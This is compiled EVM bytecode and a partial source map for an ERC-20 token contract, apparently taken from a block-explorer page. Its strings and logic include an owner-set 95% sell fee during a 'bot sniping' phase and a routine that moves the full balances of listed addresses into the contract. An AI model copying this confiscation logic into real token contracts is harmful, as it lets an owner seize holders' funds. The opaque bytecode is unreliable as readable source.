ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221b90919063ffffffff16565b6118f0565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610af830610b25565b90506000811115610b2257600b60009054906101000a900460ff16610b2157610b2081612279565b5b5b50565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b766118e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa9061317d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60149054906101000a900460ff1681565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d149190612d44565b602060405180830381865afa158015610d31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d55919061319d565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610db49291906131ca565b6020604051808303816000875af1158015610dd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df7919061321f565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610e3590612dfb565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6190612dfb565b8015610eae5780601f10610e8357610100808354040283529160200191610eae565b820191906000526020600020905b815481529060010190602001808311610e9157829003601f168201915b5050505050905090565b6000610f7b610ec56118e8565b84610f7685604051806060016040528060258152602001613af66025913960066000610eef6118e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b79092919063ffffffff16565b6118f0565b6001905092915050565b6000610f99610f926118e8565b8484611ab9565b6001905092915050565b610fab6118e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f9061317d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c0906132be565b60405180910390fd5b6110f830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546118f0565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611165573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111899190612e70565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611212573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112369190612e70565b6040518363ffffffff1660e01b81526004016112539291906132de565b6020604051808303816000875af1158015611272573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112969190612e70565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061131f30610b25565b60008061132a610dfd565b426040518863ffffffff1660e01b815260040161134c96959493929190613342565b60606040518083038185885af115801561136a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061138f91906133a3565b505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016114319291906131ca565b6020604051808303816000875af1158015611450573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611474919061321f565b50565b61147f6118e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461150c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115039061317d565b60405180910390fd5b80600c8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000479050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561160a573d6000803e3d6000fd5b5050565b6116166118e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169a9061317d565b60405180910390fd5b600d60149054906101000a900460ff166116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e990613468565b60405180910390fd5b6116fa61252b565b6000600d60146101000a81548160ff021916908315150217905550565b61171f61252b565b565b6117296118e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ad9061317d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c906134fa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361195f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119569061358c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c59061361e565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611aac9190612c16565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f906136b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8e90613742565b60405180910390fd5b60008111611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd1906137d4565b60405180910390fd5b6000611be4610dfd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c525750611c22610dfd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c8a57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611cda5750600d60149054906101000a900460ff165b15611f7557600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dd2576000611d3f836106b1565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633825d82885836040518363ffffffff1660e01b8152600401611d9e9291906131ca565b600060405180830381600087803b158015611db857600080fd5b505af1158015611dcc573d6000803e3d6000fd5b50505050505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e7d5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611f74576000611e8d836106b1565b90506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c2bc2efc876040518263ffffffff1660e01b8152600401611eec9190612d44565b602060405180830381865afa158015611f09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2d919061319d565b9050600c5482101580611f425750600c548110155b15611f7157611f6e6064611f60605f8761289990919063ffffffff16565b61291390919063ffffffff16565b92505b50505b5b6000611f8a828461295d90919063ffffffff16565b9050611fde83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295d90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061207381600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221b90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061210882600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221b90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121a89190612c16565b60405180910390a35050505050565b60008383111582906121ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f69190612a9a565b60405180910390fd5b506000838561220e9190613823565b9050809150509392505050565b600080828461222a9190613857565b90508381101561226f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612266906138d7565b60405180910390fd5b8091505092915050565b6000600267ffffffffffffffff81111561229657612295612e2c565b5b6040519080825280602002602001820160405280156122c45781602001602082028036833780820191505090505b50905030816000815181106122dc576122db612e9d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612383573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123a79190612e70565b816001815181106123bb576123ba612e9d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061242230600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118f0565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124869594939291906138f7565b600060405180830381600087803b1580156124a057600080fd5b505af11580156124b4573d6000803e3d6000fd5b505050506000479050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612525573d6000803e3d6000fd5b50505050565b600d60149054906101000a900460ff16156128975760005b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663949d225d6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125d4919061319d565b811015612895576000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663663037ac836040518263ffffffff1660e01b81526004016126389190612c16565b602060405180830381865afa158015612655573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126799190612e70565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156127f35761271a81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295d90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127af81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221b90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166329092d0e836040518263ffffffff1660e01b815260040161284e9190612d44565b600060405180830381600087803b15801561286857600080fd5b505af115801561287c573d6000803e3d6000fd5b505050505050808061288d90613951565b915050612543565b505b565b60008083036128ab576000905061290d565b600082846128b99190613999565b90508284826128c89190613a0a565b14612908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ff90613aad565b60405180910390fd5b809150505b92915050565b600061295583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129a7565b905092915050565b600061299f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121b7565b905092915050565b600080831182906129ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e59190612a9a565b60405180910390fd5b50600083856129fd9190613a0a565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a44578082015181840152602081019050612a29565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a6c82612a0a565b612a768185612a15565b9350612a86818560208601612a26565b612a8f81612a50565b840191505092915050565b60006020820190508181036000830152612ab48184612a61565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612afb82612ad0565b9050919050565b612b0b81612af0565b8114612b1657600080fd5b50565b600081359050612b2881612b02565b92915050565b6000819050919050565b612b4181612b2e565b8114612b4c57600080fd5b50565b600081359050612b5e81612b38565b92915050565b60008060408385031215612b7b57612b7a612ac6565b5b6000612b8985828601612b19565b9250506020612b9a85828601612b4f565b9150509250929050565b60008115159050919050565b612bb981612ba4565b82525050565b6000602082019050612bd46000830184612bb0565b92915050565b600060208284031215612bf057612bef612ac6565b5b6000612bfe84828501612b4f565b91505092915050565b612c1081612b2e565b82525050565b6000602082019050612c2b6000830184612c07565b92915050565b6000819050919050565b6000612c56612c51612c4c84612ad0565b612c31565b612ad0565b9050919050565b6000612c6882612c3b565b9050919050565b6000612c7a82612c5d565b9050919050565b612c8a81612c6f565b82525050565b6000602082019050612ca56000830184612c81565b92915050565b600080600060608486031215612cc457612cc3612ac6565b5b6000612cd286828701612b19565b9350506020612ce386828701612b19565b9250506040612cf486828701612b4f565b9150509250925092565b600060ff82169050919050565b612d1481612cfe565b82525050565b6000602082019050612d2f6000830184612d0b565b92915050565b612d3e81612af0565b82525050565b6000602082019050612d596000830184612d35565b92915050565b600060208284031215612d7557612d74612ac6565b5b6000612d8384828501612b19565b91505092915050565b60008060408385031215612da357612da2612ac6565b5b6000612db185828601612b19565b9250506020612dc285828601612b19565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612e1357607f821691505b602082108103612e2657612e25612dcc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050612e6a81612b02565b92915050565b600060208284031215612e8657612e85612ac6565b5b6000612e9484828501612e5b565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612f0181612af0565b82525050565b6000612f138383612ef8565b60208301905092915050565b6000602082019050919050565b6000612f3782612ecc565b612f418185612ed7565b9350612f4c83612ee8565b8060005b83811015612f7d578151612f648882612f07565b9750612f6f83612f1f565b925050600181019050612f50565b5085935050505092915050565b6000604082019050612f9f6000830185612c07565b8181036020830152612fb18184612f2c565b90509392505050565b600080fd5b612fc882612a50565b810181811067ffffffffffffffff82111715612fe757612fe6612e2c565b5b80604052505050565b6000612ffa612abc565b90506130068282612fbf565b919050565b600067ffffffffffffffff82111561302657613025612e2c565b5b602082029050602081019050919050565b600080fd5b60008151905061304b81612b38565b92915050565b600061306461305f8461300b565b612ff0565b9050808382526020820190506020840283018581111561308757613086613037565b5b835b818110156130b0578061309c888261303c565b845260208401935050602081019050613089565b5050509392505050565b600082601f8301126130cf576130ce612fba565b5b81516130df848260208601613051565b91505092915050565b6000602082840312156130fe576130fd612ac6565b5b600082015167ffffffffffffffff81111561311c5761311b612acb565b5b613128848285016130ba565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613167602083612a15565b915061317282613131565b602082019050919050565b600060208201905081810360008301526131968161315a565b9050919050565b6000602082840312156131b3576131b2612ac6565b5b60006131c18482850161303c565b91505092915050565b60006040820190506131df6000830185612d35565b6131ec6020830184612c07565b9392505050565b6131fc81612ba4565b811461320757600080fd5b50565b600081519050613219816131f3565b92915050565b60006020828403121561323557613234612ac6565b5b60006132438482850161320a565b91505092915050565b7f556e69737761705632506169722068617320616c7265616479206265656e207360008201527f6574000000000000000000000000000000000000000000000000000000000000602082015250565b60006132a8602283612a15565b91506132b38261324c565b604082019050919050565b600060208201905081810360008301526132d78161329b565b9050919050565b60006040820190506132f36000830185612d35565b6133006020830184612d35565b9392505050565b6000819050919050565b600061332c61332761332284613307565b612c31565b612b2e565b9050919050565b61333c81613311565b82525050565b600060c0820190506133576000830189612d35565b6133646020830188612c07565b6133716040830187613333565b61337e6060830186613333565b61338b6080830185612d35565b61339860a0830184612c07565b979650505050505050565b6000806000606084860312156133bc576133bb612ac6565b5b60006133ca8682870161303c565b93505060206133db8682870161303c565b92505060406133ec8682870161303c565b9150509250925092565b7f426f7420736e6970696e672068617320616c7265616479206265656e2064697360008201527f61626c6564000000000000000000000000000000000000000000000000000000602082015250565b6000613452602583612a15565b915061345d826133f6565b604082019050919050565b6000602082019050818103600083015261348181613445565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006134e4602683612a15565b91506134ef82613488565b604082019050919050565b60006020820190508181036000830152613513816134d7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613576602483612a15565b91506135818261351a565b604082019050919050565b600060208201905081810360008301526135a581613569565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613608602283612a15565b9150613613826135ac565b604082019050919050565b60006020820190508181036000830152613637816135fb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061369a602583612a15565b91506136a58261363e565b604082019050919050565b600060208201905081810360008301526136c98161368d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061372c602383612a15565b9150613737826136d0565b604082019050919050565b6000602082019050818103600083015261375b8161371f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006137be602983612a15565b91506137c982613762565b604082019050919050565b600060208201905081810360008301526137ed816137b1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061382e82612b2e565b915061383983612b2e565b9250828203905081811115613851576138506137f4565b5b92915050565b600061386282612b2e565b915061386d83612b2e565b9250828201905080821115613885576138846137f4565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006138c1601b83612a15565b91506138cc8261388b565b602082019050919050565b600060208201905081810360008301526138f0816138b4565b9050919050565b600060a08201905061390c6000830188612c07565b6139196020830187613333565b818103604083015261392b8186612f2c565b905061393a6060830185612d35565b6139476080830184612c07565b9695505050505050565b600061395c82612b2e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361398e5761398d6137f4565b5b600182019050919050565b60006139a482612b2e565b91506139af83612b2e565b92508282026139bd81612b2e565b915082820484148315176139d4576139d36137f4565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a1582612b2e565b9150613a2083612b2e565b925082613a3057613a2f6139db565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a97602183612a15565b9150613aa282613a3b565b604082019050919050565b60006020820190508181036000830152613ac681613a8a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220072c73c79e97880a1bace97f548f013ac85ee3571c2d01912643f23c54568ff764736f6c63430008130033

Deployed Bytecode Sourcemap

8621:8041:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9755:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10588:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15282:281;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8858:106;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10032:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10757:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9941:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11078:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8971:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14383:267;;;;;;;;;;;;;:::i;:::-;;10135:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6506:148;;;;;;;;;;;;;:::i;:::-;;9543:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16422:237;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6292:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9846:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11304:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10262:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11807:623;;;;;;;;;;;;;:::i;:::-;;14271:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10437:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16263:151;;;;;;;;;;;;;:::i;:::-;;11584:215;;;;;;;;;;;;;:::i;:::-;;14658:64;;;;;;;;;;;;;:::i;:::-;;6662:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9471:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9755:83;9792:13;9825:5;9818:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9755:83;:::o;10588:161::-;10663:4;10680:39;10689:12;:10;:12::i;:::-;10703:7;10712:6;10680:8;:39::i;:::-;10737:4;10730:11;;10588:161;;;;:::o;15282:281::-;15352:4;15370:21;15408:1;15394:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15370:40;;15431:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15421:4;15426:1;15421:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;15482:4;15464;15469:1;15464:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;15505:15;;;;;;;;;;;:28;;;15534:11;15547:4;15505:47;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15553:1;15505:50;;;;;;;;:::i;:::-;;;;;;;;15498:57;;;15282:281;;;:::o;8858:106::-;;;;;;;;;;;;;:::o;10032:95::-;10085:7;10112;;10105:14;;10032:95;:::o;10757:313::-;10855:4;10872:36;10882:6;10890:9;10901:6;10872:9;:36::i;:::-;10919:121;10928:6;10936:12;:10;:12::i;:::-;10950:89;10988:6;10950:89;;;;;;;;;;;;;;;;;:11;:19;10962:6;10950:19;;;;;;;;;;;;;;;:33;10970:12;:10;:12::i;:::-;10950:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;10919:8;:121::i;:::-;11058:4;11051:11;;10757:313;;;;;:::o;9941:83::-;9982:5;10007:9;;;;;;;;;;;10000:16;;9941:83;:::o;11078:218::-;11166:4;11183:83;11192:12;:10;:12::i;:::-;11206:7;11215:50;11254:10;11215:11;:25;11227:12;:10;:12::i;:::-;11215:25;;;;;;;;;;;;;;;:34;11241:7;11215:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11183:8;:83::i;:::-;11284:4;11277:11;;11078:218;;;;:::o;8971:38::-;;;;;;;;;;;;;:::o;14383:267::-;14425:28;14456:24;14474:4;14456:9;:24::i;:::-;14425:55;;14518:1;14495:20;:24;14491:152;;;14541:16;;;;;;;;;;;14536:96;;14578:38;14595:20;14578:16;:38::i;:::-;14536:96;14491:152;14414:236;14383:267::o;10135:119::-;10201:7;10228:9;:18;10238:7;10228:18;;;;;;;;;;;;;;;;10221:25;;10135:119;;;:::o;6506:148::-;6429:12;:10;:12::i;:::-;6419:22;;:6;;;;;;;;;;:22;;;6411:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6613:1:::1;6576:40;;6597:6;::::0;::::1;;;;;;;;6576:40;;;;;;;;;;;;6644:1;6627:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;6506:148::o:0;9543:39::-;;;;;;;;;;;;;:::o;16422:237::-;16495:17;16522:15;16495:43;;16549:15;16567:10;:20;;;16596:4;16567:35;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16549:53;;16613:10;:19;;;16633:8;;;;;;;;;;;16643:7;16613:38;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16484:175;;16422:237;:::o;6292:79::-;6330:7;6357:6;;;;;;;;;;;6350:13;;6292:79;:::o;9846:87::-;9885:13;9918:7;9911:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9846:87;:::o;11304:269::-;11397:4;11414:129;11423:12;:10;:12::i;:::-;11437:7;11446:96;11485:15;11446:96;;;;;;;;;;;;;;;;;:11;:25;11458:12;:10;:12::i;:::-;11446:25;;;;;;;;;;;;;;;:34;11472:7;11446:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11414: